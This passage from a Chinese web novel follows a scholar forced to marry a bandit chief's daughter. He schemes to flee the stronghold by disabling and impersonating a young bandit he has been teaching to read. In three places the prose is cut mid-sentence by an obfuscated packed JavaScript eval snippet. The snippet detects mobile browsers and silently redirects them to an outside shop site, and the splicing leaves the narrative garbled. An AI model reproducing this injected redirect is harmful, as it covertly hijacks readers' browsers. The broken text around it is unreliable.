纪文焕主动转了话头:“其实你下山头一日,我还当你是被我气走的。” 崔执瑶觉得新鲜:“那你岂不是得意得很?毕竟平日只有你被我噎得说不出话的份儿。” 纪文焕不屑:“我又不是你,以为逞些口舌之快便能舒坦。” 崔执瑶不信:“说得好像你这张嘴饶过谁似的。” “我那叫替天行道,”纪文焕拂了拂袖,“就是见不得有人无理搅三分。” “读几本书,便连损人都要安个好听的名头。”崔执瑶笑出声来,“别人是不讲理,轮到自己就成了替天行道,纪公子这双标的本事倒是炉火纯青。” 二人就这样一路斗着嘴回到了院子。 映月欢快的声音脆生生插了进来:“小姐!您可算回来啦!” “映月,”崔执瑶同样展颜,还不忘瞥一眼身侧,“留你一人照料他,真是辛苦了。” 纪文焕瞪了她一眼,气冲冲径自进了屋。 映月一脸茫然:“小姐,姑爷这是怎么了?” 崔执瑶浑不在意:“无妨,拌了几句嘴。” “啊?”映月显得很是意外,“小姐,姑爷其实……挺记挂您的。您不在时,他常问起您去哪儿了,何时回来呢。” 崔执瑶觉得好笑:“他是怕我回来吧。” 映月还想再说,崔执瑶已打断她:“映月,我这几日没怎么歇好,有些乏了,先去你屋里睡会儿。” 说罢,不等映月应声,便自行去了。 这一觉睡得颇沉,直到映月来唤她用晚饭才醒。 没承想一出房门,便见院中有人候着。 来人年纪甚轻,身形清瘦,名唤孟云松,是前几日一同下山办事的弟兄。他手里捧着几本蓝皮册子,见崔执瑶出来,上前道:“小姐,箱子里寻着的书都在这儿了。” 崔执瑶点头接过,知他还未用饭,便邀他一同到正厅。 纪文焕已坐在那儿,见有生人来,起身疑惑地看向崔执瑶。 崔执瑶介绍道:“这是寨里的弟兄,孟云松。”又转向孟云松,“这是我夫君,纪文焕。” 她语气平平常常,纪文焕却在听到“夫君”二字时,眼神几不可察地闪动了一下,随即恢复如常。 孟云松拱手:“久仰姑爷。” 纪文焕客气回礼:“孟兄请坐。” 四人落座,崔执瑶将手中书册递给纪文焕:“这趟顺手得的,给你。” 纪文焕讶然接过。 孟云松笑道:“咱们寨子里没几个识文断字的,如今除了寨主,总算又多了一位。往常这些书带回来也是堆着落灰,今日大小姐却特意吩咐要留给姑爷呢。” 崔执瑶面色如常地夹菜,纪文焕倒是神情复杂,握着书册,沉默片刻最终郑重道了声:“多谢。” 虽非名贵典籍,但她出门办事还念着他,这份心意已足够贵重。 崔执瑶不以为意:“你喜欢便好。” 孟云松瞧着一桌子菜:“大小姐何时吃得这般清淡了?” 崔执瑶正想嗔他吃饭话多,却听纪文焕先开了口:“是我口味如此,未能好生招待孟兄,还望见谅。” 崔执瑶颇意外地看了他一眼。 “姑爷言重了,”孟云松目光在二人之间转了转,止不住羡慕,“小姐与姑爷感情当真深厚。小姐这般说一不二的性子,竟也肯迁就,出门在外还时时惦记着。也不知我何时才能寻到一位这般待我的娘子。” 纪文焕被说得有几分不好意思,夹菜的动作都慢了下来,眼神往崔执瑶那边瞟。 崔执瑶倒不怕人打趣,只觉得孟云松今夜格外话多:“你吃饭是非要说话不可?” 孟云松立刻噤声,心里却对这位姑爷更添佩服,能把大小姐这般人物笼络住,真是好手段。 用罢晚饭,孟云松提及明日是他母亲寿辰,邀崔执瑶前去。崔执瑶应下了,吩咐映月送他出门。 待院中只剩二人,纪文焕方问:“怎的忽然想起送我书了?” 崔执瑶道:“见你终日闷在寨中,又不喜随陶肃他们习武,怕你无趣,便让孟云松寻了几本,给你平日解闷。” 纪文焕心头微暖,偏开视线低声道:“你……有心了。” “我一向对在意的人有心。”崔执瑶说这话时眉眼舒展,唇角噙着笑。 那笑意太亮,纪文焕呼吸微微一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪文焕被她这话噎住,低声回了一句:“你倒真不谦虚。” 接着,孟大娘热情地招呼众人入席,席间很快热闹起来。她轮番接受着众人的敬酒祝贺,崔执瑶许久未沾酒,一时兴起也饮了不少,与周围人谈笑风生。 纪文焕虽也能饮,却不多喝。几杯下肚后,他想透透气,便信步走到院外一处泉池旁。 池水清冽,倒映着天光云影。他刚蹲下身,却瞥见池边大石后隐约有条小径,被茂密藤蔓半遮着。 正心生好奇,欲上前探看,却听见熟悉的声音自后方响起: “别去了,那不是下山的路。” 纪文焕转身,见崔执瑶不知何时也离席跟了过来。 “崔大小姐当真是眼观六路。”纪文焕语气里掺上几分委屈,“怎么,这寨子里有个新鲜去处,我连看看都不行了?何苦如此揣度我。” 崔执瑶哪会信他这话,走上前道:“那是通往深山的小径,平日我们打猎常走。你可别乱闯,就你这肩不能扛手不能提的模样,当心被野兽叼了去。” 这话听得纪文焕心头一堵。 不去便不去。他正欲转身离开,却听崔执瑶突然急喊:“小心!” 纪文焕循着风声望去,只见一颗圆石正朝他面门疾飞而来! 他下意识侧身闪避,石子擦着耳际掠过,带起一阵凉风。可这骤然的躲闪却乱了脚下章法——青苔湿滑,他踉跄间重心全失,整个人往前一倾,“噗通”一声便栽进了池中! 8. 第 8 章 水花猛地炸开,刺骨寒意瞬间裹挟全身。纪文焕栽进泉池,冷水呛进口鼻,激得他浑身一颤,狼狈不堪地挣扎站起。池水虽只及胸,可他浑身湿透,墨发贴颊,方才挥毫时的从容体面荡然无存,只剩一身狼狈。 他抬头望向岸上怔住的崔执瑶,眼中火气翻腾。 没等崔执瑶伸手拉他,纪文焕已自己从池中挣起,水淋淋地攀上岸边。他瞪向崔执瑶,语气饱含怒意:“遇上你,真是没一件好事!” 说罢转身便要走。 崔执瑶却一把攥住他手腕,不由分说地将人往孟家院里拽。 一进院门,数道目光齐刷刷投来。 孟大娘尚在疑惑,崔执瑶已开口:“大娘,文焕不慎湿了衣裳。此处离我院子还有些距离,天寒风冷,可否让他先换件云松的干衣,烤烤火再回?” 孟大娘自是应下,忙引他们进里屋,取了干净衣裳来。 等纪文焕换衣裳的工夫,崔执瑶已转身去寻那群肇事者。 方才那块飞石,是几个半大孩子用弹弓打来的,瞄得那样低,绝非射鸟失手的无心之过。 她沉着脸将人拎到孟家院里,借了孟大娘的戒尺,一人手心罚了一下,命他们候着向纪文焕赔罪。 待纪文焕换好干爽衣衫走出,见的便是崔执瑶抱臂立在院中,身后一排孩子个个蔫头耷脑。见他出来,孩子们齐齐躬身,嗓门亮却发虚: “姑爷对不起!我们再也不乱打弹弓了!” 又说纪文焕若不原谅,他们便不起身。 纪文焕瞧着这阵仗,一时气也不是笑也不是,只温声叮嘱往后不可再这般顽皮,便摆手让他们去了。 孩子们如蒙大赦,一溜烟跑了个没影。 他这才走到仍板着脸的崔执瑶跟前,低声道:“方才是我说话冲了,你莫往心里去。” 落水时那句气话脱口而出,此刻冷静下来,纪文焕自己也觉过分。 崔执瑶当时见他跌进池中,心倏地一紧,哪还顾得上生气。此刻他主动赔不是,她反倒后知后觉地抿了抿唇。 终究还是抬了抬下巴,语气松了下来:“本姑娘向来大度。” 正说着,孟大娘端着姜汤笑呵呵走来了:“这么一瞧,姑爷和云松身量还真有几分像,方才过来时我差点认错。只是姑爷可比我家云松清俊。” 崔执瑶闻言细看,竟也觉得确有颇为相似。 跟在孟大娘身后来的孟云松接话:“姑爷是读书人,气质自然比我这般粗人强得多。” 纪文焕接过姜汤,语气温和:“孟兄爽朗豪迈,心直口快,纪某反倒钦佩这般纯粹性情。” 崔执瑶在一旁瞧着,心道这人除了在她面前,倒真是处处装得人模狗样。 孟云松不好意思地挠挠头。 正说话间,外头院子里传来 崔执瑶转向孟大娘:“今日给您添麻烦了。” 孟大娘连连摆手:“大小姐说这话可就见外了。寨主于我有恩,您平日下山又总照应着云松,我感激还来不及呢。” 纪文焕喝姜汤的动作几不可察地一顿,随即如常道:“今日写字时,见孟兄似对读书颇有兴趣。我在寨中左右无事,孟兄若不嫌弃,闲时我可教你识几个字。” 孟云松一听,眼睛顿时亮了:“当真?我愿意!” 这提议让孟家母子喜出望外,连声道谢。 崔执瑶立在一旁,看着纪文焕温文含笑的模样,却隐隐觉出几分说不上来的蹊跷。 待纪文焕身子回暖,两人才从孟家出来。 往后几日,孟云松还真日日准时上门。他性子踏实,虽天资不算顶聪颖,却胜在肯下苦功。纪文焕也教得兴致勃勃,往日总要睡到日上三竿才肯睁眼的人,如今卯时刚过,便已在院子里摆好笔墨纸砚,等着孟云松来请教。 崔执瑶晨起往演武场去,也总能看见二人凑在一起。 时间一晃过去快半个月,崔执瑶和孟云松在这段时间又下了一次山,她本想如之前一样带几本书给纪文焕。 谁知刚跟孟云松提了一句,就被他连连否定:“大小姐不必麻烦!纪先生说往后缺什么书,会提前告知我,我下次下山一并带来便是。” 他说着,脸上还带着几分与有荣焉的得意,一口一个“纪先生”,喊得别提多顺口。 崔执瑶心里一乐:“才半月功夫,倒叫上先生了?” 孟云松脸颊微红,却认真道:“纪先生教得好,本来就是我的先生。” 说着便滔滔不绝说起纪文焕的好。 崔执瑶打断他:“他之前不是一口一个孟兄地喊你么,如今竟让你喊他先生。” 孟云松正色解释,纪文焕那是在同他客套,纪文焕比他尚长一岁。崔执瑶这才知道,纪文焕与自己竟是同年,还大了两个月。 看这段时间他俩乐在其中,崔执瑶心里那点疑虑也消散了。 这日,纪文焕刚教完孟云松今日的课业,正起身送他出门,孟云松忽然想起一事:“纪先生,我娘让我明日去后山打写野味,我怕不能来听课了,要不也给您带点回来?” 纪文焕本想说不必麻烦,话到嘴边却忽然一转:“你说的后山,可是你家院子不远处,那个池塘后面的那片林子?” 孟云松点点头:“正是。” “我早就想去看看了,”纪文焕语气向往,“先前瑶娘说后山凶险,等她得空了再带我去,可这些日子她要么忙演武场,要么要下山,一直没寻到机会。不若明日我陪你一同去?” 孟云松顿时面露难色:“先生,大小姐说得不错!后山林密,野兽不少,还生着许多不认得的草木,有些带毒,实在危险。您还是等大小姐领着去吧,若出什么岔子,我没法交代。” “无妨,”纪文焕温声道,“我紧跟在你身后,凡事听你安排,定不会有事。” “这……” “云松,”纪文焕轻叹一声,语调里染上几分寥落,“我常同你说‘读万卷书,行万里路’。说来惭愧,我自幼埋头苦读,却未尝真正见识过天地万物。万卷书是读了,万里路……却终成遗憾。” 孟云松闻言动容:“先生……” “如今我承蒙瑶娘收留,在寨中安身,可也注定下不了山,更别提科考入仕、遍历山河了,”纪文焕轻轻叹了口气,“你也看见了,若不是日日教你读书,我在这寨中便真是无所事事,只能虚度光阴。这些日子,我教了你书中的道理,明日你便教教我这乡野间的学问,做一回我的先生,如何?” 这话一出口,孟云松的耳朵唰地一下就红透了。 他只觉得纪先生实在太会说话,明明只是想跟着上山看看,却偏能引出“读万卷书行万里路”的道理,甚至还抬出“互为师长”这样的话来。可……可先生要让自己做他的先生? 这可是天大的面子,对向来敬重纪文焕的孟云松来说,实在难以拒绝。 纠结了片刻,孟云松终是点头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966319|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那……先生明日早些来寻我。只是千万别让大小姐知晓,进了林子务必跟紧我,绝不能出事。” 纪文焕眼底欣然:“自然。多谢。” 孟云松憨然一笑:“先生教我这么多道理,我总不能让先生抱憾。” 次日清晨,纪文焕出门时,恰在院门处遇见崔执瑶。他神色如常道,孟云松为谢他这些时日的教导,邀他去家中用饭,怕是要傍晚方回。 崔执瑶不疑有他,反倒有几分高兴,他愿意与寨中人亲近可是好事。 二人进了山。这后山果然是处密林,比寨中更显幽深,路径难辨。孟云松虽为打猎而来,却记着昨日的话,一路不忘向纪文焕指点沿途草木。 纪文焕目光四顾,只漫应着。 约莫走了一个时辰,孟云松额间已浮起薄汗,他抬手擦了擦,指着前方道:“先生,前面有眼山泉,水极清甜,咱们过去歇歇脚、喝口水再走吧?” 纪文焕正凝神观察四周,随口应了声“好”,随他往林子深处去。不料才绕过几株老树,眼前光线蓦然敞亮,不再是林间那种破碎的幽暗,而是开阔明朗的天光,毫无遮蔽地倾泻下来。 他脚步一顿,抬眼望去,只见前方林木渐疏,隐约现出一片空旷,不由问道:“这前头……似乎已非寨中地界,也不像密林深处,是通往何处?” 孟云松已蹲在泉边往水囊里灌水,闻言回头笑道:“先生,前头没路啦,哪儿也到不了的。” 纪文焕心中疑惑更甚,孟云松见状,装好水囊后便引他又往前走了十余步。这才看清,那所谓“出口”竟是一处断崖——崖边野草蔓生,风声自崖底呼啸卷上,望去只见一片空茫深谷,不见其底。 “这下头通往何处?”纪文焕往前趋近半步。 孟云松忙伸手虚拦在他臂侧,语气紧张:“谁都说不清。寨里人从不往这儿来,只听说底下也树林子,又深又险,没人敢下去探过。” 纪文焕还想再探头细看,却被孟云松牢牢拉住。 “先生小心!”少年声音都绷紧了,“这崖边的土石松得很,万一失足可就……” 纪文焕回头冲他宽慰一笑,示意无妨,目光却仍凝在崖下。他想起这山寨本就建于山坳高处,这断崖看似绝路,可若崖下真有隐秘的谷道,说不定…… “先生?”孟云松的声音将他思绪拉回,“您发什么怔呢?咱们还是往回走吧,我还什么都没猎到,回去可不好向我娘交代。” 纪文焕敛起心神,颔首道:“好,依你。” 二人重返林间,孟云松不久便射中一只灰兔。那兔子中箭后跌进一丛结着红果的矮植里,汩汩渗出血来。纪文焕正要上前去拾,却被孟云松一把按住手腕。 “先生别动,”孟云松神色严肃,“这不是寻常草丛,这叫‘醉鱼草’,它的果实有毒,汁液沾上皮肉会起红疹、发痒、若是不慎沾到这儿……”他抬手点了点自己的喉结,压低声音,“能把人毒哑两三日。虽不伤性命,却够难受的。” 说着他折了根枯枝,小心地将兔子从草间拨出,这才拎起。 纪文焕仍望着那丛艳红果子:“瞧这果子鲜亮诱人,毒性竟这般刁钻?” “先生有所不知,这山里的花草越是鲜艳的,越要当心。”孟云松提着兔子一笑,望了望天色,先生,时辰不早了,咱们下山吧。再晚些,怕要撞上觅食的野物。” 纪文焕在那丛醉鱼草前又蹲了片刻,方缓缓直起身,随他回去。 9. 第 9 章 崔执瑶又下山了。 这回孟云松并未跟着一起,他说年关将近,过些时日需随陶肃一道下山采办年货。 纪文焕听闻后神色如常,仍每日照旧教他念书。 两日后,纪文焕忽然说想吃些野味,劳烦孟云松再陪他进一趟后山。孟云松如今对他颇为信服敬重,这般请求几乎未作犹豫就应承下来。 入了后山,孟云松问他想猎些什么。纪文焕只笑:“遇着什么便是什么,随缘就好。” 孟云松专心寻猎,纪文焕却心不在焉,目光不时扫过四周草木。 不多时,孟云松便射中一只山鸡。 纪文焕没料到他手脚这般利落,见他打算回去了,暗自思忖如何拖延。 他慢吞吞跟在孟云松后面,直到瞥见那丛熟悉的红果。 “云松,”纪文焕停下脚步,“在此歇息片刻吧。” 孟云松回头,见他已走向一株老树,似要倚坐,心想纪先生毕竟是文人,山路走久了疲累也属正常,如今天色尚早,歇歇也无妨,便点头应了。 他正要过去同坐,纪文焕却道:“此处离那山泉可近?我有些渴了,可否劳你打些水来?” 孟云松爽快应下,转身便往泉眼方向去。 待他走出几步,纪文焕目光微凝,看准时机伸手扯住一根早已留意的藤蔓—— 藤蔓倏然绷直,横拦路间。孟云松猝不及防被绊,整个人向前扑去。 “云松!”纪文焕迅速松开藤蔓,语气急切地唤了一声,起身快步上前,伸手欲扶。 “先生别过来!”孟云松却抬手拦住,声音懊恼。 纪文焕依言止步,关切道:“怎么了?可摔伤了?” 孟云松撑起身,看了看身下那丛被压塌的红果,又看了看自己衣襟上沾染的艳红浆汁,欲哭无泪:“先生……我的脸,沾到醉鱼草了。” 纪文焕将他扶转过来,仔细瞧了瞧那片草丛,眉头蹙起:“这可如何是好?你曾说沾上会起红疹……” “先生记得没错,”孟云松哭丧着脸,“我这张脸,怕是要遭几天罪了。” 纪文焕目光落在他颈间,神色更凝重了几分:“云松,你脖子上……似乎也沾到了。” 孟云松脸色唰地白了:“先生,我、我还要哑了!” 纪文焕神情十分不忍:“你好端端的,怎会突然摔倒?” 孟云松抓起那根“罪魁祸首”的藤蔓,气愤道:“都怪这山里藤蔓杂乱,一时不察便绊着了。” 纪文焕语气责怪:“这么大个人了,走路也不当心些。” 话一出口,又意识到他才是平白遭罪的那个,语气不由缓了下来:“罢了,先不说这些。赶紧回去找大夫瞧瞧才是最要紧的。” 孟云松回到家中时,脸上已泛起一片红疹,喉咙也喑哑难言。 这草毒不至性命,大夫开了外敷的膏药,嘱咐疹子不能见光不能吹风,这出门须戴帷帽遮挡。 孟大娘送走大夫后,转身便数落起儿子。孟云松有口难辩,只得垂首听着。 纪文焕温声劝解:“孟大娘,此事怪我。若不是我贪那口野味,云松也不必进山,更不会误触醉鱼草。追根究底,皆是我的过错。” 孟云松一听,急忙摇头,喉间发出急促的呜咽声,分明是不肯让他担责。 孟大娘也道:“姑爷快别这么说!分明是这小子自己走路不当心,这么大个人还能摔进草棵里,怪得谁来?” 说着又瞪了孟云松一眼,转身往灶间煎药去了。 孟大娘一离开,屋内便静了下来。纪文焕抬眼看向孟云松,正对上那双澄澈的眼睛。他胸口蓦地一窒,仿佛被什么堵住了,吐不出也咽不下。 心中一时百味杂陈,他该庆幸孟云松是赤诚单纯的人;可隐隐地,又莫名恼火于这份过分的天真。 两种情绪拧在一处,搅得他乱。最终,他只抛下一句你好生养着,便转身出了屋子,步子迈得又快又急,像是落荒而逃。 在纪文焕的推波助澜下,孟云松起了疹子需戴帷帽、暂时失声的消息,很快便在寨子里传开了。 纪文焕一连数日未曾去看他。直至孟云松下山前夜,纪文焕去了孟家,为表歉意,特请孟云松来自己院中用晚饭。 孟云松依约前来。席间他因说不出话,只能不断乱比划着,却都被纪文焕无视了。一顿饭吃得异常安静,气氛微凝。孟云松察觉纪文焕情绪不佳,虽不明所以,却也只能默默低头吃饭。 饭毕,纪文焕说亲手为他熬了汤药,让他饮完再回。 待纪文焕端来药碗,孟云松顺从接过,慢慢将药汁饮尽。 纪文焕看着他喝完,接过空碗,声音比往常更轻也更淡:“你既称我一声先生,今夜我便再教你一个道理。” 孟云松蹙眉望他,眼中困惑。 纪文焕却不解释,只道:“好好睡一觉吧。明日醒来,你自然就明白了。” 话音方落,孟云松忽然眼前发黑,身子一晃,软软向桌子旁倒去—— 纪文焕似早有预料,面无表情地费力将人半搀半拖挪到床上。 静立片刻,他出门唤来映月,吩咐道:“去告诉孟大娘一声,云松为讨教学问,今夜在我这儿留宿。” 映月不疑有他,领命去了。 月色溶溶,漫过院中石阶。 纪文焕在廊下立了许久,夜风拂动衣摆,身影静默。直到更深夜重,露气渐浓,他才推门进了屋。 —— 翌日卯时,山寨一角已聚起三三两两的汉子。天寒霜重,说话时呵出的白气一团团散在晨雾里。 人群中,一个戴着帷帽的身影显得格外突兀。 “嘿,云松今儿怎么闷不吭声的?”一个粗嗓门的汉子嚷着,伸手就要去掀那帷帽,“还戴这劳什子,装神弄鬼的!” 帷帽下的人迅速抬手,稳稳挡住了那只探来的手。 旁边另一人忙道:“你还不知道?云松前几日不小心沾了醉鱼草,起了满脸疹子,嗓子也哑了,这才戴着帷帽遮一遮。” 帷帽轻点,似是应和。 那汉子收回手,咂咂嘴:“这么不小心?可够遭罪的。” 众人又等了一阵,有人开始不耐烦地嘟囔:“陶老大怎么还没来?再磨蹭天都大亮了,下山该赶不及了。” 正说着,有人小跑着过来传话:“陶老大吃坏肚子了,正闹肚子疼呢,怕得有一会儿!让咱们先走,他腿脚快,随后追上来。” 于是队伍不再等候,推着货车陆续启程。 那个戴着帷帽的身影也默默跟上。布料遮掩下,一张全然不属于孟云松的脸,悄然勾起一抹极淡的弧度。 孟云松昨日晕倒后,纪文焕便将他外衣褪去,换上了自己的衣裳,又吩咐映月次日不必送早膳来,只说要多睡一会儿。 今早,他换上孟云松的衣物,戴上那顶帷帽,众人便都将他认作了孟云松。 此事纪文焕已筹划多时。自从崔执瑶提起寨中有固定人员可下山起,他便动了心思。原本还需更多时日布置,可孟大娘那句他与孟云松身形相仿,正好给了纪文焕可乘之机。 这几日他表面是教孟云松读书,实则借机探问消息,并有意模仿对方言行举止。他自信如今仅凭身形姿态,已能蒙过寻常人的眼睛。 唯一需慎防的,是陶肃。崔执瑶虽不在,此人却精明难缠。因此昨夜趁陶肃不在,纪文焕悄悄在他那口锅上做了手脚,令其腹痛不止,今早果然未能赶到。 午时之前,只要这一路无人掀开他的帷帽,他便能平安下山。 纪文焕的运气不错,一路到了山下,陶肃都未能追来。这是他头一回走这条山路,崎岖隐蔽,岔路纷杂,颇难辨识。 他只暗中庆幸这寨中的人大多心性质朴、少有盘算,才让他终于能脱身下山。 下山已辰时了,众人径往云平城而去。 纪文焕要闯的第二关,便是城门口的文书核验。 他倒不太担忧——先前崔执瑶既能将他从城外打晕运进城里,足见此处查验本就松懈。何况云平城地处边陲,天高皇帝远,依他过往见闻,这类地方的关防往往疏阔。 他手中所持,是孟云松的文书。行至查验的官兵面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哎哟两位小兄弟,您也说是去年了。”孙掌柜小眼睛里精光闪烁,皮笑肉不笑,“这一年里,人力、运费,哪样不涨?何况北边一直打仗,我这布运过来,成本可比往年高出一大截。跟您说句掏心窝子的话,要不是念着老交情,我哪敢报这个价?自己都怕亏本呐!” 纪文焕听得几乎要笑出声。北边是不太平,可也绝够不上他这般漫天要价。 “孙掌柜,交情可不是这么论的……就算涨,也不能翻着跟头涨啊!您这赚的可不是良心钱。我们老爷素来要的量大,绝不会让您亏本的,您再看看,能不能再让些?这价我们实在接不住。” “让?”孙掌柜嗤笑一声,两手一摊,肩膀耸得老高,“两位兄弟,我这还不够让吗?我也有一家老小要吃饭,铺子里的伙计哪个月不等着工钱?难啊!实话告诉您,您尽可去别家布庄问问,看谁能比我低?我孙有财敢打包票,这已是最低价了!您要是嫌贵,那就请便。您看看我这店里头,排着队等提货的客人可多着呢!” 纪文焕心里冷笑,几乎想立刻上前揭了这掌柜那层虚伪面皮。 但他忍住了。 他看着那两人面红耳赤地与掌柜争执,心下虽有些恨铁不成钢,转念却是一亮——这不正是时机么? 他们只顾着价钱,早无暇旁顾。 已经有了想法,纪文焕便悄悄向后挪步。待那三人争得越发激烈,他已退至门边,转身一跨,悄无声息地没入了门外熙攘的人潮之中。 纪文焕想先寻个地方洗净脸、摘了帷帽,毕竟这般打扮太惹眼。还未寻到合适之处,却在街边瞧见一个代写书信的摊子。他脚下一顿,犹豫片刻,还是走了过去。 一封信,费去不少时间。写罢封好,他匆匆离去,专拣僻静的小巷穿行,七拐八绕间,撞见一家开在角落里的饭馆,门面陈旧,里头人影稀疏。他略一打量,便走了进去。 店伙计殷勤上前问他要吃些什么。纪文焕随意点了几样菜,又道脸上沾了尘污,想借后院水盆一用。伙计自然应下,为他指了路。 纪文焕道了谢,穿过堂屋掀开后厨的布帘,走入后院。院子狭长,墙角堆着些杂物,当中一口老井。他刚向前迈了两步,心头蓦地一紧——一股极细微的破风声自侧后方袭来! 他几乎本能地向侧后方仰身! 一道寒光破风而至,精准地穿透帷帽垂纱,“嗤”地一声轻响,未伤皮肉,却巧力一挑。那顶遮面的帷帽顿时飞起,在空中翻了半圈,轻轻落在一旁的柴堆上。 纪文焕稳住身形,站在原地,抬眼望向袭击来处—— 那人持剑立于井边斑驳的影子里,衣袂微动。 不是别人,正是陶肃。 10. 第 10 章 两个人见到彼此,目光中都没有意外之色。 陶肃脸上辨不出是怒是讽,只盯着他道:“纪公子扮作孟云松的模样溜下山,是打算逃?” 纪文焕索性也不寻借口了,事到如今,再遮掩反倒可笑:“陶兄何必多此一问。” 他目光扫过对方身形,话里听不出情绪:“看来陶兄身子已大好了。” 陶肃冷笑:“我那灶上的手脚,果然是你做的。只是你也未免太蠢。这般拙劣的手法,就不怕我事后寻你报复?” “我既存了心要逃,”纪文焕不甚在意,“又怎会在意你报不报复。” “纪文焕!”陶肃声音陡然一沉,握剑的手紧了紧,“你们成亲那日,我本是要替你作主的!你倒好,反咬一口,让我在众人面前出那般大丑——” “替我作主?”纪文焕打断他,眼神锐利起来,“陶肃,你究竟是要替我作主,还是恼恨崔执瑶宁可随手抢个男人回来成亲,也不愿多看你一眼,所以才挑了新婚夜,拿她、也拿我——来泄愤?” 陶肃脸色一僵:“你什么意思?” “我什么意思,你不清楚?”纪文焕悠悠向前踏了几步,语气不重,却自有气势,“你若真心想救我,从我被掳上山那日便可寻机找我。为何偏要等到我和她的新婚夜,先放我走,又抓我回来,非要在寨主面前当面对质?” 陶肃的瞳孔骤然缩紧,像被踩住尾巴的猫,脸涨成猪肝色:“你……” “我怎么知道的?”纪文焕替他补完后半句,“那夜是你亲自布防。以崔执瑶平日的描述,你绝非一个会纵容手下玩忽职守之人。后来我试过多次,那些守卫其实个个警醒得很。更何况——”他顿了顿,“崔执瑶当时绝不可能不下死令看住我,可他们却那般轻易饮下我的酒……这太不合情理了。除非,是有人暗中授意,故意放个口子,演一出欲擒故纵。” 这些破绽纪文焕事后冷静下来,稍加推敲便清楚了,只是那夜他满心只想着逃,没有心神去分辨这些。 他目光紧锁着陶肃:“你选在新婚夜发难,要的哪里是什么真相?你要的是一桩丑闻——要我当众露出仓惶逃窜的狼狈相,要崔执瑶因为‘选错人’而颜面扫地,最好能煽动旁人替你问出那句‘为何不选你’。只可惜,”纪文焕语气里透出一丝讥诮,“你千算万算,没算到我会硬着头皮,把她的戏演到底。” 陶肃死死盯着他:“你既什么都清楚,为何还陪她演?” “她确是强掳了我,”纪文焕忽然觉得有些可笑,“可你那晚,却是存心要折辱我。我有什么理由,非得帮你?” 他语气平淡下来,“在这山寨里,我谈不上有什么自保之力。她纵然行事荒唐,却至少不曾真的害我。那时节,除了依附她,我并无第二条路可走。” 两人目光相触,谁也不退让谁,空气仿佛凝固,透着一股剑拔弩张的寒意。 “好一张利嘴,”陶肃忽地扯了扯嘴角,笑意却未达眼底,“既然你说我是故意的,那我大可如你所愿。” 他另一只手缓缓按上剑柄,眼神淬冰:“是你私自下山想要逃跑,还大言不惭地喊着要叫官来追杀我们。我劝说无果,又担忧你知晓了下山的路,留着终是后患,不得已,只好将你一剑了结。这理由,你觉得如何?” “你敢吗?”纪文焕不退反进半步,声音清晰冷静,“陶肃,到了此刻,你还觉得我只是个能任你随手宰杀的废物书生?” 在陶肃警惕又疑惑的目光中,他继续道: “如今全寨皆知,我是归云寨名正言顺的姑爷,与崔执瑶新婚燕尔,鹣鲽情深。衣食无忧,娇妻在侧——我有什么理由非要逃?你若杀我,有几人会信你那套追逃灭口的说辞?” 他语速平缓,却字字如钉: “你当然可以栽赃给别的山头,或推说意外。可谁不知你陶肃的能耐?方圆几十里,有几人能是你的对手?偏偏你当值时我下了山,偏偏我一下山便出事,你猜众人会怎么想?会不会觉得,是你存心诱我下山,再设局除之?” 院中风声似乎停了停。 “再说句不怕臊的,”纪文焕抬眼,直视他,“崔执瑶如今待我却有几分真心。我若死了,她那般聪敏之人,怎会看不出其中关窍?你到时拿什么跟她交代?” 纪文焕目光清亮如雪,一字字问道: “陶肃,这一剑下去,杀我容易。可杀我之后,你要付出什么代价,你自己算清了吗?” 在他说话时,陶肃的脸色就已经很难看了。 分明持剑的是他,纪文焕的生死不过在他一念之间。可此刻,占了上风的倒像是纪文焕。 陶肃喉头哽了哽,竟寻不出一句可驳的话。 他不是第一回领教这书生的口舌利害,此刻却仍被那番话定住了心神。剑在鞘中,半晌未动。 纪文焕说的并非全无道理。 他松了按剑的手,声音冷硬:“我不杀你,但今日你也休想离开。我虽乐见你滚出山寨,可你既识了下山的路,便绝不能放你走。” 这结果早在纪文焕预料之中。 陶肃不杀他,他已是松了口气。 “行,”纪文焕平静道,“但我还有个请求。” 陶肃几乎气笑,眼睛瞪起:“你凭什么同我讲条件?” 不杀他已经是仁至义尽了。 “只是请求,”纪文焕似有无奈,“陶兄何妨一听?” “……说。” “今日之事,不要告诉崔执瑶。” 陶肃面上先是不动声色,随即嘴角极细微地勾了一下。看来这新婚燕尔、如胶似漆的戏码下,他二人远比想象中更不和睦。 他轻哼一声:“凭什么?” 纪文焕迎着他的目光,抛出了筹码:“我能替寨子里采买今年所需的年货,价钱,可以比你们以往谈下的再低至少两成。” 陶肃眼神倏然一动。 今年北境战事频起,物价飞涨,采买确是棘手难题。山寨的钱财大多来得不易,花出去也肉疼。 他虽不信纪文焕有这种本事,可这交易听起来不亏。 陶肃颔首: “好,我答应你。” 两人自后院一同走出,纪文焕向那满面惊愕的店伙计结了账,桌上的饭菜一口未动,便与陶肃转身离去。 谁都不曾察觉——就在对街不远处的屋檐上,一道人影恰在此时一闪而过。 陶肃押着他折返城中。为防人多口杂泄露了“孟云松”下山之事,陶肃索性将分散采买的弟兄全数召回,聚在城里的茶棚候着,只留自己与纪文焕两人行事。 二人再次立在那家布庄门前。 孙掌柜正抱着账本拨算盘,嘴角噙笑——晨间那桩买卖虽费了些口舌,到底成了,油水颇丰。 